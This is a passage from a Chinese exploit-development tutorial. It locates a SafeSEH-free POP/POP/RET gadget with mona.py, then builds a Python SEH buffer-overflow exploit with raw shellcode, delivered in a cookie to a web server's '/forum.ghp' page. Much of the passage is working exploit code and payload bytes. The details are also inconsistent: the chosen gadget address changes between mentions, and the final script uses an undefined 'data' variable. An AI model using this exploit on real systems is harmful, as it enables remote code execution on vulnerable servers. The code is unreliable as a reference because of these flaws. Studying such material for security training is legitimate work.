接上文 基于结构化异常处理的渗透-使用Python编写渗透模块(一)https://developer.aliyun.com/article/1618639
1.2.2 查找POP/POP/RET指令的地址
现在需要从一个外部的DLL文件载入一个地址,而且是一个没有被SafeSEH保护的DLL文件的POP/POP/RET指令地址。Mona.py是一个由Python编写的用于Immunity Debugger的插件,它提供了大量用于渗透的功能。在Immunity Debugger最下面的长条框里输入命令!mona module,如下图所示:
要查找POP/POP/RET指令,需要使用!mona rop命令。如下图所示:
这个命令执行的结果是生成,C:\Program Files\ImmunityInc\Immunity Debugger\rop.txt文件,这个镜像文件的格式如下图所示:
注意:虽然找到了很多DLL文件,但是并非所有的DLL文件都可以使用,只有其中不受SafeSEH机制保护的才可以使用,也就是表中SafeSEH列值为False的。另外,我们要在这些文件中查找POP/POP/RET指令的相关地址。从上图中可以看到第一个ImageLoad.dll就是一个不受SafeSEH机制保护的DLL文件。现在我们需要做的就是在这个文件中找到一条POP/POP/RET指令和它的地址。Immunity Debugger中的Mona.py已经找出了这些POP/POP/RET指令,如下图所示:
从图中选择0x10017743作为要使用的POP/POP/RET指令地址,这条记录完整的内如下:
0x10017743 : # POP EBP # POP EBX 3 RETN ** [ImageLoad.dll] ** | ascii{
PAGE_EXECUTE_READ}
我们将会使用0x10019798作为POP/POP/RET指令的地址。现在已经有了两个可以用来编写渗透模块的重要组件,一个偏移量,另一个是用来载入catch块的地址,也就是POP/POP/RET指令的地址。
1.3 使用Python编写渗透模块
定义发往目标服务器的数据,包括如下几个部分:
- 导致目标服务溢出的字符(4059个“A”)
- Payload = “A” * 4059
- 实现跳转的指令(“\xeb\x06\x90\x90”)
- buff += “\xeb\x06\x90\x90”
- POP/POP/RET指令地址
- buff += “\x43\x77\x01\x10”
- 用来实现空指令滑行的代码,作用就是在跳转地址和Shellcode之间设置一个滑行区域,这个区域使用空指令填充,从而避免Shellcode中的代码不能正常执行,在此处添加30、40、50个空指令都可以使代码滑行到Shellcode部分(这个数值通过测试得到)。空指令的数量太少会崩溃,太多会死机:
- Payload += “\x90” * 40
- 用来在目标主机上实现特定功能的代码,在很多地方可以找到这种代码,另外Kali 中也提供了这种工具,下面是一代码的作用就是启动Windows系统下的计算器。
- 构造一个发往目标主机的数据包,参照1.2中的内容:
- cookies = dict(SESSIONID=‘28740’, UserID=buff, PassWD=‘abcdefg’)
- data=dict(frmLogin=True, frmUserName=‘123’, frmUserPass=‘abcdefg’, login=‘Login’)
- requests.post(‘http://’+host+‘:’+str(port)+‘/forum.ghp’, cookies=cookies,data=data)
使用socket将这个数据包发送出去:
requests.post('http://'+host+':'+str(port)+'/forum.ghp',cookies=cookies,data=data)
完整的程序如下所示:
import requests
host = '192.168.68.129'
port = 80
shellcode=( '\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a\x1c\x39\xbd') #这是一段可以在windows 7中国启动计算器的代码
buff = 'A' * 4059
buff += '\xeb\x06\x90\x90'
buff += '\x43\x77\x01\x10'
buff += '\x90' * 40
buff += shellcode
buff += 'C' * 50
cookies = dict(SESSIONID='28740', UserID=buff, PassWD='abcdefg')
requests.post('http://'+host+':'+str(port)+'/forum.ghp', cookies=cookies,data=data)
执行这段程序以后,在目标主机查看反应,结果如下图所示: